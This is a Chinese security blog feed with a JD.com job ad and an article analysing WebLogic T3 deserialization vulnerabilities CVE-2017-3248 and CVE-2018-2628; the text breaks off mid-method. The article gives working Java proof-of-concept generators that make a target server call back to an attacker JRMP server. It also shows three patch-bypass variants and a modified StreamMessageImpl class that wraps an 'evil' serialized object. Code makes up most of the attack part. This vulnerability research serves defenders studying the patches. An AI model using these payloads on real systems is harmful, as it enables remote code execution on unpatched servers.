bluE0x00

京东安全招聘

Fri, 14 Feb 2025 11:30:00 +0800

深蓝 2025-02-14 11:30 北京

京东集团信息安全部，招聘安全开发/安全工程师。

职责：
负责集团各安全域能力短板挖掘、BAS平台建设。
要求：
1.熟练掌握基础安全、数据安全、业务安全、账号安全中一项业务域漏洞挖掘、安全评测方法。
2.熟练使用python、go、java中一项编程语言，能够将日常手工评测工作沉淀为自动化能力。
3.三年以上工作经验，本科及以上学历（能力优秀者可放宽）。
加分项：
1.有各厂商src挖掘经验，排名靠前者优先。
2.有甲方互联网大厂工作经验者优先。

Base北京亦庄京东总部，全年最高20薪。另招聘应届毕业生（211、985高校），实习生（本科学历，实习时间6个月起），要求大致同上，欢迎各位师傅砸简历。

联系方式：

阅读原文

跳转微信打开

Weblogic T3 (IIOP)协议漏洞分析（三）

Sun, 23 Apr 2023 22:18:00 +0800

深蓝 2023-04-23 22:18 四川

前言

最近在看一些其他东西，加上工作内容有些变动，原本的Weblogic分析拖了很久才发出来。

时间隔得有点久了，若是文章中有借鉴了其他师傅的内容忘了标注，请指出。

之前做复现时顺手挖了3个洞，oracle只收了一个，并且不回复原因...不知道啥情况，待补丁发布之后再另出文章分析吧。

正文

CVE-2017-3248

影响范围

WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1

漏洞分析

该漏洞本质上是利用RMI的缺陷，通过建立恶意jrmp请求，反序列化来自jrmp server的数据造成反序列化攻击。

参考网上资料的流程图：

POC：

import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Base64;import java.util.Random;
public class CVE_2017_3248 {    public static Object getObject() {        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint tcpEndpoint = new TCPEndpoint("10.51.53.37", 6666);        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));        //经过测试，单独通过UnicastRef也可以触发反序列化，下面两个封装类可有可无        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);        return registry;    }
    public static void main(String[] args) throws IOException {        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(getObject());        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));    }}

在Weblogic的反序列化过程中，通过ObjectStreamClass.readObject() -> RemoteObject.readObject()调用到UnicastRef的readExternal方法：

查看传入的LiveRef对象可以看到我们在payload中放置的TCPEndpoint以及恶意jrmp server地址，DGClient将会使用registerRefs方法注册这个对象：

并最终触发DitryCall将从jrmp server获取的数据进行反序列化：

调用栈如下：

executeCall:245, StreamRemoteCall (sun.rmi.transport)invoke:379, UnicastRef (sun.rmi.server)dirty:-1, DGCImpl_Stub (sun.rmi.transport)makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)registerRefs:156, DGCClient (sun.rmi.transport)read:312, LiveRef (sun.rmi.transport)readExternal:493, UnicastRef (sun.rmi.server)readObject:455, RemoteObject (java.rmi.server)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)defaultReadFields:2231, ObjectInputStream (java.io)readSerialData:2155, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)

修复

补丁在weblogic.rjvm.InboundMsgAbbrev中新增了一个resolveProxyClass方法用于检测传入RMI接口类是否为java.rmi.registry.Registry，若是则会抛出异常：

流量特征如下：

CVE-2018-2628

该CVE本应是上文中补丁的绕过，但显然上文中补丁并不是很有效(更正：从上个补丁开始就不能打CC了)

POC1:

通过上文poc代码中的提到的，其实整个反序列化过程中不需要通过java.lang.reflect.Proxy与java.rmi.server.RemoteObjectInvocationHandler代理封装，直接使用UnicastRef类进行反序列化，在反序列化过程中不会调用到resovleProxyClass。

POC2:

通过修改接口类，比如网上公开的poc用java.rmi.activation.Activator替换java.rmi.registry.Registry，但其实这里对类接口没什么要求，

换成Map都行：

POC3:

通过StreamMessageImpl绕过resolveProxyClass检查，StreamMessageImpl的反序列化流程在CVE-2016-0638中已分析过，就不再赘述。

POC代码：

import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import weblogic.jms.common.StreamMessageImpl;
import javax.management.remote.rmi.RMIAuthenticator;import java.io.*;import java.lang.reflect.Proxy;import java.rmi.activation.Activator;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Base64;import java.util.Hashtable;import java.util.Map;import java.util.Random;
public class CVE_2018_2628 {    public static Object getPoc1() {        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 6666);        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));return unicastRef;    }
    public static Object getPoc2() {        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 6666);        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);//Any InterfaceMap map = (Map) Proxy.newProxyInstance(CVE_2018_2628.class.getClassLoader(), new Class[]{Map.class}, handler);return map;    }
    public static Object getPoc3() {        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 6666);        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);Map map = (Map) Proxy.newProxyInstance(CVE_2018_2628.class.getClassLoader(), new Class[]{Map.class}, handler);return new StreamMessageImpl(map);    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {        ByteArrayOutputStream fout = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);        objectOutputStream.writeObject(getPoc3());        objectOutputStream.close();        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);//        inputStream.readObject();    }
}

StreamMessageImpl类参照前文：

package weblogic.jms.common;
import java.io.*;import java.lang.reflect.InvocationTargetException;import javax.jms.Destination;import javax.jms.JMSException;import javax.jms.MessageEOFException;import javax.jms.MessageNotWriteableException;import javax.jms.StreamMessage;import weblogic.jms.JMSClientExceptionLogger;import com.weblogcVul.CVE_2016_0638;public final class StreamMessageImpl extends MessageImpl implements StreamMessage, Externalizable {    private static final byte EXTVERSION1 = 1;    private static final byte EXTVERSION2 = 2;    private static final byte EXTVERSION3 = 3;    private static final byte VERSIONMASK = 127;    static final long serialVersionUID = 7748687583664395357L;    private static final byte UNKNOWN_TYPECODE = 0;    private static final byte BOOLEAN_TYPE = 1;    private static final byte BYTE_TYPE = 2;    private static final byte CHAR_TYPE = 3;    private static final byte DOUBLE_TYPE = 4;    private static final byte FLOAT_TYPE = 5;    private static final byte INT_TYPE = 6;    private static final byte LONG_TYPE = 7;    private static final byte SHORT_TYPE = 8;    private static final byte STRING_UTF_TYPE = 9;    private static final byte STRING_UTF32_TYPE = 10;    private static final byte BYTES_TYPE = 11;    private static final byte NULL_TYPE = 12;    private static final String[] TYPE_CODE_STRINGS = new String[]{"invalid type code", "boolean", "byte", "char", "double", "float", "integer", "long", "short", "String", "String", "byte array", "null object"};    private static final String ERROR_MSG_SEGMENT = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";    private boolean readingByteArray;    private int available_bytes;    private transient PayloadStream payload;    private transient boolean copyOnWrite;    private transient BufferOutputStream bos;    private transient BufferInputStream bis;
    private Object evil ;
    public StreamMessageImpl() {    }    public StreamMessageImpl(Object a) {        this.evil = a;    }
    public StreamMessageImpl(StreamMessage var1) throws IOException, JMSException {        this(var1, (Destination)null, (Destination)null);    }
    public StreamMessageImpl(StreamMessage var1, Destination var2, Destination var3) throws IOException, JMSException {        super(var1, var2, var3);        if (!(var1 instanceof StreamMessageImpl)) {            var1.reset();        }
        try {            while(true) {                this.writeObject(var1.readObject());            }        } catch (MessageEOFException var5) {            this.reset();            this.setPropertiesWritable(false);        }    }
    public byte getType() {        return 5;    }
    public void nullBody() {        this.payload = null;        this.copyOnWrite = false;        this.bis = null;        this.bos = null;        this.readingByteArray = false;        this.available_bytes = 0;    }
    private void putTypeBack() throws IOException {        if (!this.readingByteArray) {            this.bis.unput();        }
    }
    private String readPastEnd() {        return JMSClientExceptionLogger.logReadPastEndLoggable().getMessage();    }
    private String readPastEnd3(int var1) {        return JMSClientExceptionLogger.logReadPastEnd3Loggable(var1).getMessage();    }
    private String streamReadError() {        return JMSClientExceptionLogger.logStreamReadErrorLoggable().getMessage();    }
    private String streamReadError(int var1) {        return JMSClientExceptionLogger.logReadErrorLoggable(var1).getMessage();    }
    private String streamWriteError() {        return JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage();    }
    private String streamWriteError(int var1) {        return JMSClientExceptionLogger.logWriteErrorLoggable(var1).getMessage();    }
    private String streamConversionError(String var1, String var2) {        return JMSClientExceptionLogger.logConversionErrorLoggable(var1, var2).getMessage();    }
    private byte readType() throws JMSException {        this.decompressMessageBody();        this.checkReadable();        if (this.readingByteArray) {            return 11;        } else {            try {                return this.bis.readByte();            } catch (EOFException var2) {                throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(0), var2);            } catch (IOException var3) {                throw new weblogic.jms.common.JMSException(this.streamReadError(0), var3);            }        }    }
    private void writeType(byte var1) throws JMSException {        this.checkWritable();
        try {            this.bos.writeByte(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage(), var3);        }    }
    public boolean readBoolean() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 1:                    return this.bis.readBoolean();                case 9:                case 10:                    return Boolean.valueOf(this.readStringInternal(var1));                default:                    this.putTypeBack();                    String var2 = "";                    if (this.readingByteArray) {                        var2 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(1)) + var2);            }        } catch (EOFException var3) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(10), var3);        } catch (IOException var4) {            throw new weblogic.jms.common.JMSException(this.streamReadError(10), var4);        }    }
    public byte readByte() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 2:                    return this.bis.readByte();                case 9:                case 10:                    int var2 = this.bis.pos();
                    try {                        return Byte.parseByte(this.readStringInternal(var1));                    } catch (NumberFormatException var4) {                        this.bis.gotoPos(var2);                        this.bis.unput();                        throw var4;                    }                default:                    this.putTypeBack();                    String var3 = "";                    if (this.readingByteArray) {                        var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(2)) + var3);            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(20), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(20), var6);        }    }
    public short readShort() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 2:                    return (short)this.bis.readByte();                case 3:                case 4:                case 5:                case 6:                case 7:                default:                    this.putTypeBack();                    String var3 = "";                    if (this.readingByteArray) {                        var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(8)) + var3);                case 8:                    return this.bis.readShort();                case 9:                case 10:                    int var2 = this.bis.pos();
                    try {                        return Short.parseShort(this.readStringInternal(var1));                    } catch (NumberFormatException var4) {                        this.bis.gotoPos(var2);                        this.bis.unput();                        throw var4;                    }            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(40), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(40), var6);        }    }
    public char readChar() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 3:                    return this.bis.readChar();                case 12:                    this.putTypeBack();                    throw new NullPointerException();                default:                    this.putTypeBack();                    String var2 = "";                    if (this.readingByteArray) {                        var2 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(3)) + var2);            }        } catch (EOFException var3) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(60), var3);        } catch (IOException var4) {            throw new weblogic.jms.common.JMSException(this.streamReadError(60), var4);        }    }
    public int readInt() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 2:                    return this.bis.readByte();                case 3:                case 4:                case 5:                case 7:                default:                    this.putTypeBack();                    String var3 = "";                    if (this.readingByteArray) {                        var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(6)) + var3);                case 6:                    return this.bis.readInt();                case 8:                    return this.bis.readShort();                case 9:                case 10:                    int var2 = this.bis.pos();
                    try {                        return Integer.parseInt(this.readStringInternal(var1));                    } catch (NumberFormatException var4) {                        this.bis.gotoPos(var2);                        this.bis.unput();                        throw var4;                    }            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(70), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(70), var6);        }    }
    public long readLong() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 2:                    return (long)this.bis.readByte();                case 3:                case 4:                case 5:                default:                    this.putTypeBack();                    String var3 = "";                    if (this.readingByteArray) {                        var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(7)) + var3);                case 6:                    return (long)this.bis.readInt();                case 7:                    return this.bis.readLong();                case 8:                    return (long)this.bis.readShort();                case 9:                case 10:                    int var2 = this.bis.pos();
                    try {                        return Long.parseLong(this.readStringInternal(var1));                    } catch (NumberFormatException var4) {                        this.bis.gotoPos(var2);                        this.bis.unput();                        throw var4;                    }            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(80), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(80), var6);        }    }
    public float readFloat() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 5:                    return this.bis.readFloat();                case 9:                case 10:                    int var2 = this.bis.pos();
                    try {                        return Float.parseFloat(this.readStringInternal(var1));                    } catch (NumberFormatException var4) {                        this.bis.gotoPos(var2);                        this.bis.unput();                        throw var4;                    }                default:                    this.putTypeBack();                    String var3 = "";                    if (this.readingByteArray) {                        var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(5)) + var3);            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(90), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(90), var6);        }    }
    public double readDouble() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 4:                    return this.bis.readDouble();                case 5:                    return (double)this.bis.readFloat();                case 6:                case 7:                case 8:                default:                    this.putTypeBack();                    String var3 = "";                    if (this.readingByteArray) {                        var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(4)) + var3);                case 9:                case 10:                    int var2 = this.bis.pos();
                    try {                        return Double.parseDouble(this.readStringInternal(var1));                    } catch (NumberFormatException var4) {                        this.bis.gotoPos(var2);                        this.bis.unput();                        throw var4;                    }            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(100), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(100), var6);        }    }
    public String readString() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 1:                    return String.valueOf(this.bis.readBoolean());                case 2:                    return String.valueOf(this.bis.readByte());                case 3:                    return String.valueOf(this.bis.readChar());                case 4:                    return String.valueOf(this.bis.readDouble());                case 5:                    return String.valueOf(this.bis.readFloat());                case 6:                    return String.valueOf(this.bis.readInt());                case 7:                    return String.valueOf(this.bis.readLong());                case 8:                    return String.valueOf(this.bis.readShort());                case 9:                    return this.readStringInternal(var1);                case 10:                    return this.readStringInternal(var1);                case 11:                default:                    this.putTypeBack();                    String var2 = "";                    if (this.readingByteArray) {                        var2 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";                    }
                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(9)) + var2);                case 12:                    return null;            }        } catch (EOFException var3) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var3);        } catch (IOException var4) {            throw new weblogic.jms.common.JMSException(this.streamReadError(), var4);        }    }
    public int readBytes(byte[] var1) throws JMSException {        boolean var3 = true;        if (var1 == null) {            throw new NullPointerException();        } else {            try {                if (!this.readingByteArray) {                    byte var2;                    if ((var2 = this.readType()) != 11) {                        if (var2 == 12) {                            return -1;                        }
                        this.bis.unput();                        throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var2), this.typeCodeToString(11)));                    }
                    this.available_bytes = this.bis.readInt();                    if (this.available_bytes == 0) {                        return 0;                    }
                    this.readingByteArray = true;                }
                if (this.available_bytes == 0) {                    this.readingByteArray = false;                    return -1;                } else {                    int var9;                    if (var1.length > this.available_bytes) {                        var9 = this.bis.read(var1, 0, this.available_bytes);                        this.readingByteArray = false;                    } else {                        var9 = this.bis.read(var1, 0, var1.length);                        this.available_bytes -= var1.length;                    }
                    return var9;                }            } catch (EOFException var5) {                throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var5);            } catch (IOException var6) {                throw new weblogic.jms.common.JMSException(this.streamReadError(), var6);            } catch (ArrayIndexOutOfBoundsException var7) {                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorIndexLoggable().getMessage(), var7);            } catch (ArrayStoreException var8) {                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorStoreLoggable().getMessage(), var8);            }        }    }
    public Object readObject() throws JMSException {        byte var1 = this.readType();
        try {            switch(var1) {                case 1:                    return new Boolean(this.bis.readBoolean());                case 2:                    return new Byte(this.bis.readByte());                case 3:                    return new Character(this.bis.readChar());                case 4:                    return new Double(this.bis.readDouble());                case 5:                    return new Float(this.bis.readFloat());                case 6:                    return new Integer(this.bis.readInt());                case 7:                    return new Long(this.bis.readLong());                case 8:                    return new Short(this.bis.readShort());                case 9:                    return this.readStringInternal(var1);                case 10:                    return this.readStringInternal(var1);                case 11:                    if (this.readingByteArray) {                        throw new MessageFormatException("Can not read next data. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage");                    } else {                        int var2 = this.bis.readInt();                        byte[] var3 = new byte[var2];                        int var4 = this.bis.read(var3, 0, var2);                        if (var4 != var2) {                            throw new EOFException("");                        }
                        return var3;                    }                case 12:                    return null;                default:                    this.bis.unput();                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), "Object"));            }        } catch (EOFException var5) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var5);        } catch (IOException var6) {            throw new weblogic.jms.common.JMSException(this.streamReadError(), var6);        }    }
    public void writeBoolean(boolean var1) throws JMSException {        this.writeType((byte)1);
        try {            this.bos.writeBoolean(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(10), var3);        }    }
    public void writeByte(byte var1) throws JMSException {        this.writeType((byte)2);
        try {            this.bos.writeByte(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(20), var3);        }    }
    public void writeShort(short var1) throws JMSException {        this.writeType((byte)8);
        try {            this.bos.writeShort(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(30), var3);        }    }
    public void writeChar(char var1) throws JMSException {        this.writeType((byte)3);
        try {            this.bos.writeChar(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(40), var3);        }    }
    public void writeInt(int var1) throws JMSException {        this.writeType((byte)6);
        try {            this.bos.writeInt(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(50), var3);        }    }
    public void writeLong(long var1) throws JMSException {        this.writeType((byte)7);
        try {            this.bos.writeLong(var1);        } catch (IOException var4) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(60), var4);        }    }
    public void writeFloat(float var1) throws JMSException {        this.writeType((byte)5);
        try {            this.bos.writeFloat(var1);        } catch (IOException var3) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(70), var3);        }    }
    public void writeDouble(double var1) throws JMSException {        this.writeType((byte)4);
        try {            this.bos.writeDouble(var1);        } catch (IOException var4) {            throw new weblogic.jms.common.JMSException(this.streamWriteError(80), var4);        }    }
    public void writeString(String var1) throws JMSException {        if (var1 == null) {            this.writeType((byte)12);        } else {            try {                this.writeStringInternal(var1);            } catch (IOException var3) {                throw new weblogic.jms.common.JMSException(this.streamWriteError(), var3);            }        }
    }
    public void writeBytes(byte[] var1) throws JMSException {        this.writeBytes(var1, 0, var1.length);    }
    public void writeBytes(byte[] var1, int var2, int var3) throws JMSException {        if (var1 == null) {            throw new NullPointerException();        } else {            this.writeType((byte)11);
            try {                this.bos.writeInt(var3);                this.bos.write(var1, var2, var3);            } catch (IOException var5) {                throw new weblogic.jms.common.JMSException(this.streamWriteError(100), var5);            }        }    }
    public void writeObject(Object var1) throws JMSException {        if (var1 instanceof Boolean) {            this.writeBoolean((Boolean)var1);        } else if (var1 instanceof Number) {            if (var1 instanceof Byte) {                this.writeByte((Byte)var1);            } else if (var1 instanceof Double) {                this.writeDouble((Double)var1);            } else if (var1 instanceof Float) {                this.writeFloat((Float)var1);            } else if (var1 instanceof Integer) {                this.writeInt((Integer)var1);            } else if (var1 instanceof Long) {                this.writeLong((Long)var1);            } else if (var1 instanceof Short) {                this.writeShort((Short)var1);            }        } else if (var1 instanceof Character) {            this.writeChar((Character)var1);        } else if (var1 instanceof String) {            this.writeString((String)var1);        } else if (var1 instanceof byte[]) {            this.writeBytes((byte[])((byte[])var1));        } else {            if (var1 != null) {                throw new MessageFormatException("Invalid Type: " + var1.getClass().getName());            }
            this.writeType((byte)12);        }
    }
    public void reset() throws JMSException {        this.setBodyWritable(false);        if (this.bis != null) {            try {                this.bis.reset();            } catch (IOException var2) {                throw new weblogic.jms.common.JMSException(this.streamReadError(217), var2);            }        } else if (this.bos != null) {            this.payload = (PayloadStream)this.bos.moveToPayload();            this.bos = null;        }
        this.copyOnWrite = false;    }
    public MessageImpl copy() throws JMSException {        StreamMessageImpl var1 = new StreamMessageImpl();        super.copy(var1);        if (this.bos != null) {            var1.payload = this.bos.copyPayloadWithoutSharedStream();        } else if (this.payload != null) {            var1.payload = this.payload.copyPayloadWithoutSharedStream();        }
        var1.copyOnWrite = this.copyOnWrite = true;        var1.setBodyWritable(false);        var1.setPropertiesWritable(false);        return var1;    }
    private void checkWritable() throws JMSException {        super.writeMode();        if (this.bos == null) {            this.bos = PayloadFactoryImpl.createOutputStream();        } else if (this.copyOnWrite) {            this.bos.copyBuffer();            this.copyOnWrite = false;        }
    }
    private void checkReadable() throws JMSException {        super.readMode();        if (this.payload == null) {            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(500));        } else {            if (this.bis == null) {                try {                    this.bis = this.payload.getInputStream();                } catch (IOException var2) {                    throw new weblogic.jms.common.JMSException(this.streamReadError(510), var2);                }            }
        }    }
    public String toString() {        return "StreamMessage[" + this.getJMSMessageID() + "]";    }
    public void writeExternal(ObjectOutput var1) throws IOException {        super.writeExternal(var1);        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        ObjectOutputStream var3 = new ObjectOutputStream(var2);
        var3.writeObject(this.evil);        var3.flush();        byte[] var5 = var2.toByteArray();        var1.writeByte(1);        var1.writeInt(var5.length);        var1.write(var5);
//        int var3 = 2147483647;//        ObjectOutput var2;//        if (var1 instanceof JMSObjectOutputWrapper) {//            var3 = ((JMSObjectOutputWrapper)var1).getCompressionThreshold();//            var2 = ((JMSObjectOutputWrapper)var1).getInnerObjectOutput();//        } else {//            var2 = var1;//        }////        byte var4;//        if (this.getVersion(var2) >= 30) {//            var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));//        } else {//            var4 = 2;//        }////        var2.writeByte(var4);//        if (this.isCompressed()) {//            if (var4 == 2) {//                this.decompress().writeLengthAndData(var2);//            } else {//                this.flushCompressedMessageBody(var2);//            }////        } else {//            Object var5;//            if (this.bos != null) {//                var5 = this.bos;//            } else {//                if (this.payload == null) {//                    var2.writeInt(0);//                    return;//                }////                var5 = this.payload;//            }////            if ((var4 & -128) != 0) {//                this.writeExternalCompressPayload(var2, (Payload)var5);//            } else {//                ((Payload)var5).writeLengthAndData(var2);//            }////        }    }
    public final void decompressMessageBody() throws JMSException {        if (this.isCompressed()) {            try {                this.payload = (PayloadStream)this.decompress();            } catch (IOException var6) {                throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var6);            } finally {                this.cleanupCompressedMessageBody();            }
        }    }
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {        super.readExternal(var1);        byte var2 = var1.readByte();        byte var3 = (byte)(var2 & 127);        if (var3 >= 1 && var3 <= 3) {            switch(var3) {                case 1:                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);                    BufferInputStream var4 = this.payload.getInputStream();                    ObjectInputStream var5 = new ObjectInputStream(var4);                    this.setBodyWritable(true);                    this.setPropertiesWritable(true);
